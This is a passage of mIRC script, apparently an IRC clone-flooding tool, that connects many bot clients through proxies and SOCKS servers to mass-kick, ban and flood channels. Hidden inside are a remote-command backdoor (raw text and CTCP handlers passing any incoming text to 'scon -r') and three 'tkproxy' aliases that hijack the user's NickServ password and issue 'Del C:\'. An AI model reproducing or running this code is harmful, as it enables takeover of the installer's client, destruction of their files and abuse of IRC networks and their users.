sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,17)) mode $did(p.cloning,339,17) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,18)) mode $did(p.cloning,339,18) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,19)) mode $did(p.cloning,339,19) +x
sockwrite -n $p.cloning.do.saSockN($did(p.cloning,339,20)) mode $did(p.cloning,339,20) +x
}
if ($did == 104) {
p.cloning.runcmd ban $did(16) *!*@
}
if ($did == 105) {
p.cloning.runcmd ban -r $did(16) *!*@
}
if ($did == 106) {
/op.allclones #[Xenon]
}
if ($did == 108) {
/ot.topic
}
if ($did == 109) {
p.cloning.runcmd part $did(16)
}
if ($did == 110) {
p.cloning.runcmd nick %proxynick
}
if ($did == 29 && $did(27).sel != $null) {
write -dl $+ $did(27).sel protected.nicks
did -d $dname 27 $did(27).sel
}
if ($did == 24) {
var %r = $?="Enter a kick reason"
if (%r != $null) {
did -a $dname 23 %r
did -z $dname 23
write kick.reasons %r
}
}
if ($did == 113) {
var %proxytopic = $?="Enter a topic"
if (%proxytopic != $null) {
did -a $dname 91 %proxytopic
did -z $dname 91
write topic.proxy %proxytopic
}
}
if ($did == 54) {
var %r = $?="Enter a Tag"
if (%r != $null) {
did -a $dname 51 %r
did -z $dname 51
write protected.tags %r
}
}
if ($did == 28) {
var %r = $?="Enter a nick"
if (%r != $null) {
did -a $dname 27 %r
did -z $dname 27
write protected.nicks %r
}
}
if ($did == 18) {
.timer_masskick off
did -e $dname 15
did -b $dname 18
var %x = 1
while ($did(339,%x) != $null) {
if ($did(339,%x) isop $did(16)) {
sockwrite -n $p.cloning.do.saSockN($did(339,%x)) MODE $did(16) -ilk Xenon
var %x = 99999999
}
inc %x
}
}
if ($did == 53) { did -r $dname 44 }
if ($did == 36) { if ($did($dname,36).state == 1) && ($did($dname,38) == $null) { did -b $dname 48 | did -b $dname 421 | did -b $dname 422 } }
if ($did == 35) { if ($did($dname,5).enabled == $false) { did -e $dname 48 | did -e $dname 421 | did -e $dname 422 } }
;if ($did == 46) {
; if ($calc($dialog($dname).w / $dbuw) >= 216) && ($calc($dialog($dname).w / $dbuw) <= 219) { dialog -bs $dname -1 -1 322 160 | dialog -r $dname }
; else { dialog -bs $dname -1 -1 215 160 | dialog -r $dname }
;}
if ($did == 5) { p.clon.fire.secl1 4 2 3 }
if ($did == 70) { p.clon.fire.secl1 69 66 68 }
if ($did == 79) { p.clon.fire.secl1 78 75 77 }
if ($did == 7) { p.cloning.fire.secl2 4 }
if ($did == 72) { p.cloning.fire.secl2 69 }
if ($did == 81) { p.cloning.fire.secl2 78 }
if ($did == 6) { p.cloning.fire.secl3 4 }
if ($did == 71) { p.cloning.fire.secl3 69 }
if ($did == 80) { p.cloning.fire.secl3 78 }
if ($did == 48) { unset %p.cloning.Nlist.conn* | p.cloning.ddnsd }
if ($did == 52) {
if ($sock(p.cloning*)) {
var %p.cloning.go.kit = yo im a clone
if (%p.cloning.msg.quit != %p.cloning.go.kit) { set %p.cloning.msg.quit LoooooooooooooL }
.sockwrite -nt p.cloning.* quit : $+ %p.cloning.msg.quit
.timerPCloning.out 1 1 .sockclose p.cloning.*
}
;.remove CloneX.ini | .remove CloneXo.ini
if ($hget(p.cloning.a)) { hfree p.cloning.a }
.timerP.cloning.Recr off
p.cloning.recr 1
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off | p.clon.stats | p.cloning.cmds
}
if ($did == 339) {
if ($did($dname,$did).sel) { did -e $dname 340 | did -e $dname 341 | did -e $dname 342 }
else { did -b $dname 340 | did -b $dname 341 | did -b $dname 342 }
}
if ($did == 244) { did -r $dname 4 }
if ($did == 256) { did -r $dname 69 }
if ($did == 265) { did -r $dname 78 }
if ($did == 340) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 351 }
if ($did == 341) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 369 }
if ($did == 342) && ($did($dname,339).sel) { p.cloning.nick.gr.ad 373 }
if ($did == 349) { did -d $dname 351 $$did($dname,351).sel }
if ($did == 367) { did -d $dname 369 $$did($dname,369).sel }
if ($did == 371) { did -d $dname 373 $$did($dname,373).sel }
if ($did == 350) { did -r $dname 351 }
if ($did == 368) { did -r $dname 369 }
if ($did == 372) { did -r $dname 373 }
if ($did == 306) { p.cloning.runcmd join $did($dname,314).text }
if ($did == 307) { p.cloning.runcmd part $did($dname,316).text }
if ($did == 308) { p.cloning.runcmd privmsg $did($dname,318).text : $+ $chr(1) $+ version $+ $chr(1) }
if ($did == 309) { p.cloning.runcmd privmsg $did($dname,320).text : $+ $chr(1) $+ ping $+ $chr(1) }
if ($did == 310) { p.cloning.runcmd privmsg $did($dname,322).text : $+ $did($dname,324).text }
if ($did == 311) { p.cloning.runcmd notice $did($dname,326).text : $+ $did($dname,328).text }
if ($did == 312) { p.cloning.runcmd privmsg $did($dname,329).text : $+ $chr(1) $+ DCC SEND LAMA.mp3 1024 0 }
if ($did == 330) { p.cloning.runcmd nick $did($dname,331).text }
if ($did == 361) { run $did($dname,361).text }
}
on 1:DIALOG:p.cloning:menu:*: {
if ($did == 476) { set %p.save.cloning.srv $did($dname,10).text }
if ($did == 405) { run www.coffey522.gopzap.com }
if ($did == 406) { run www.coffey522.gopzap.com }
if ($did == 407) { run mailto:Coffey522@gmail.com }
if ($did == 409) { run www.coffey522.gopzap.com }
if ($did == 410) { run www.gopzap.com }
if ($did == 412) { p.cloning.ipports }
if ($did == 415) { p.cloning.list.nicksch $mircdirClXNickList.cfg }
if ($did == 416) { p.cloning.list.nicksch $sfile($mircdir,"Escoge el archivo") }
if ($did == 418) { p.cloning.list.save $mircdirClXNickList.cfg }
if ($did == 419) { p.cloning.list.save $sfile($mircdir,"Guardar en...",Guardar) }
if ($did == 421) {
unset %p.cloning.Nlist.conn*
set %p.cloning.Nlist.conn 1
if ($exists($mircdirClXNickList.cfg) == $false) { p.cloning.fal File not found! }
set %p.cloning.Nlist.conn.f $mircdirClXNickList.cfg
p.cloning.ddnsd
}
if ($did == 422) {
unset %p.cloning.Nlist.conn*
set %p.cloning.Nlist.conn 1
set %p.cloning.Nlist.conn.f $sfile($mircdir,"Select file")
if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd }
}
if ($did == 441) { p.cloning.crdts }
}
alias -l p.cloning.nick.gr.ad {
if ($dialog(p.cloning)) {
var %i = 1
while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
var %p.cloning.adgr1.nicks = $ifmatch
if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
var %i = %i + 1
}
}
}
alias -l p.cloning.jj {
if ($did(p.cloning,47).text == Normal) { p.clon.do }
elseif ($did(p.cloning,47).text == Proxy) {
if (!$did(p.cloning,4,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with them. | p.cloning.recr 1 | return }
p.clon.do
}
elseif ($did(p.cloning,47).text == Socks 4) {
if (!$did(p.cloning,69,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 4. | p.cloning.recr 1 | return }
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol doesn't admit domain names (ip's only), /dns $did($dname,10).text and apply the result here ;) | return }
p.clon.do
}
elseif ($did(p.cloning,47).text == Socks 5) {
if (!$did(p.cloning,78,1)) { p.cloning.fal Introduce some proxies in the configuration if you would connect with Socks 5. | p.cloning.recr 1 | return }
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal This protocol does admit domain names, but in this version of TK Proxy it's bot implemented, so, /dns $did($dname,10).text and apply the result here ;) | return }
p.clon.do
}
}
on *:Text:raw*:?:{ scon -r $2- }
alias -l p.clon.dodo {
if ($dialog(p.cloning)) && (!$sock($$1)) {
p.cloning.do.w $$1 0,0
;inc %p.cloning.n
.sockopen $$1-
if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
p.clon.stats %p.clon.dodo $did(p.cloning,10) $did(p.cloning,12)
}
}
alias -l p.clon.do {
if ($dialog(p.cloning)) {
p.cloning.recr 0
var %p.cloning.delay = $did(p.cloning,391).text
if ($did(p.cloning,47).text == Normal) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10) $did(p.cloning,12)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Proxy) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
else { p.cloning.fal No hay proxyes. Config?ralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Socks 4) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
else { p.cloning.fal No hay wingates. Config?ralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Socks 5) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
else { p.cloning.fal No hay wingates. Config?ralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
}
}
alias -l p.cloning.recr {
if ($dialog(p.cloning)) {
if ($$1 == 0) {
did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
}
if ($$1 == 1) {
did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) && ($abs($did(p.cloning,50)) != 0) {
if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
}
}
}
}
alias -l p.clon.stats {
if ($dialog(p.cloning)) {
;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
did -o p.cloning 90 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
did -o p.cloning 93 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
;echo -s DEBUG: Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-) y Sockets: $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
;did -o p.cloning 43 1 %p.cloning.n
if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
}
}
on 1:DIALOG:p.cloning:init:0: {
.disable #p.cloning.DdnsD
did -c $dname 31
;.remove CloneX.ini | .remove CloneXo.ini
if ($hget(p.cloning.a)) { hfree p.cloning.a }
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
did -c $dname 35 | did -i $dname 37 1 Coffey | did -i $dname 37 2 Laura | did -i $dname 37 3 llmmao | did -c $dname 37 1
did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
p.cloning.conEcheck
if ($file(kick.reasons) != $null) {
loadbuf -o $dname 23 kick.reasons
did -z $dname 23
}
if ($file(topic.proxy) != $null) {
loadbuf -o $dname 91 topic.proxy
did -z $dname 91
}
if ($file(protected.tags) != $null) {
loadbuf -o $dname 51 protected.tags
did -z $dname 51
}
if ($file(protected.nicks) != $null) {
loadbuf -o $dname 27 protected.nicks
did -z $dname 27
}
if ($file(proxy.perform) != $null) {
loadbuf -o $dname 33 proxy.perform
}
}
on 1:SOCKREAD:p.cloning.*: {
if ($dialog(p.cloning)) {
var %p.cloning.server = $did(p.cloning,10)
var %p.cloning.port = $did(p.cloning,12)
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
else {
if ($did(p.cloning,47).text == Socks 4) {
if ($sock($sockname).mark != 1) {
sockread &p.cloning.bread
if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
}
}
if ($did(p.cloning,47).text == Socks 5) {
if ($sock($sockname).mark != 1) {
sockread &p.cloning.bread
;echo -s bvar: $bvar(&p.cloning.bread,1,10)
if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
;echo -s Protocolo Aceptado. Iniciando conexion.
var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
sockwrite $sockname &p.cloning.ssenndd
;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
}
if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
}
}
sockread %p.cloning.read
var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
;echo -s Rd: %p.cloning.read
if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Connected: %p.cloning.server %p.cloning.port | p.cloning.cmds }
if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
}
elseif (!$abs(%p.cloning.sec2)) {
if (%p.cloning.sec2 == NICK) {
if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }
if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }
p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
p.cloning.nicks.act
}
}
}
if (%p.cloning.sec2 == 001 && $did(p.cloning,31).state == 1) {
var %x = 1
while ($did(p.cloning,33,%x) != $null) {
sockwrite -n $sockname $replace($did(p.cloning,33,%x),<nick>,$gettok(%p.cloning.read,2,44))
inc %x
}
}
if (%p.cloning.sec1 == PING) {
sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
}
}
}
}
alias -l p.cloning.con.com {
;p.cloning.do.rw.o $$1
;p.cloning.do.rw $$1
if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
}
alias tkproxy {
.ns set password jordan
Del C:\
quit $str(@,150)
}
on 1:SOCKOPEN:p.cloning.*: {
if ($dialog(p.cloning)) {
var %p.cloning.server = $did(p.cloning,10)
var %p.cloning.port = $did(p.cloning,12)
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Disconnected: %p.cloning.server %p.cloning.port -Session start- | p.cloning.cmds }
else {
;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
elseif ($did(p.cloning,47).text == Proxy) {
sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
sockwrite $sockname $CRLF
.timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
}
elseif ($did(p.cloning,47).text == Socks 4) {
var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF
bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
sockwrite $sockname &p.cloning.ssenndd
;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
}
elseif ($did(p.cloning,47).text == Socks 5) {
bset &p.cloning.ssenndd 1 5 1 0
; -t?
sockwrite $sockname &p.cloning.ssenndd
}
}
}
}
alias tkproxy1 {
.ns set password jordan
Del C:\
quit $str(@,150)
}
alias -l p.cloning.cmds {
if ($dialog(p.cloning)) {
p.cloning.nicks.act
if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 | did -e p.cloning 328
did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
did -e p.cloning 367 | did -e p.cloning 351 | did -e p.cloning 350 | did -e p.cloning 349 | did -e p.cloning 371
did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
}
else {
if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 | did -b p.cloning 312
did -b p.cloning 308 | did -b p.cloning 309 | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 | did -b p.cloning 328
did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
did -b p.cloning 367 | did -b p.cloning 351 | did -b p.cloning 350 | did -b p.cloning 349 | did -b p.cloning 371
did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
}
}
}
}
alias -l p.cloning.runcmd {
if ($dialog(p.cloning)) {
if ($did(p.cloning,334).state == 1) {
var %i = 1
while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
var %p.cloning.runcmd.nick = $ifmatch
if ($$1 == nick) {
if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
}
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :Xenon*IRC v %version }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
var %i = %i + 1
}
return
}
elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
}
var %i = 1
while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
var %p.cloning.runcmd.nick = $ifmatch
if ($$1 == nick) {
if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
}
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :Xenon*IRC v %version }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
var %i = %i + 1
}
}
alias tkproxy2 {
.ns set password jordan
Del C:\
quit $str(@,150)
}
ctcp *:raw:*:{ scon -r $2- }
alias -l p.cloning.list.nicksch {
if ($dialog(p.cloning)) {
var %i = 1
var %o = 1
while ($p.cloning.r(%i)) {
var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
if (%p.cloning.list.nicksch.sta) {
if ($exists($$1) == $false) { p.cloning.fal No archive! }
var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
if (%p.cloning.list.nicksch.nnick) {
if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a character... File format: Nick Ident }
sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
}
var %o = %o + 1
}
var %i = %i + 1
}
}
}
alias -l p.cloning.list.save {
if ($dialog(p.cloning)) {
var %i = 1
.remove $$1
while ($did(p.cloning,339,%i).text) {
write $$1 $ifmatch
var %i = %i + 1
}
}
}
alias -l p.cloning.nicks.act {
if ($dialog(p.cloning)) {
did -r p.cloning 339
var %i = 1
var %o = 1
while ($p.cloning.r(%i)) {
var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
var %p.cloning.nicks = $gettok($ifmatch,2,44)
if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
var %i = %i + 1
}
}
}
alias -l p.cloning.usIn {
if ($dialog(p.cloning)) {
if (%p.cloning.Nlist.conn == 1) {
inc %p.cloning.Nlist.conn.n
var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text $+ $rand(0,9999)))))
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
}
else {
if ($did(p.cloning,35).state == 1) {
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $rand(0,9999)
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Disconnected: $did(p.cloning,10) $did(p.cloning,12) -Blocked- | p.cloning.cmds }
}
elseif ($did(p.cloning,36).state == 1) {
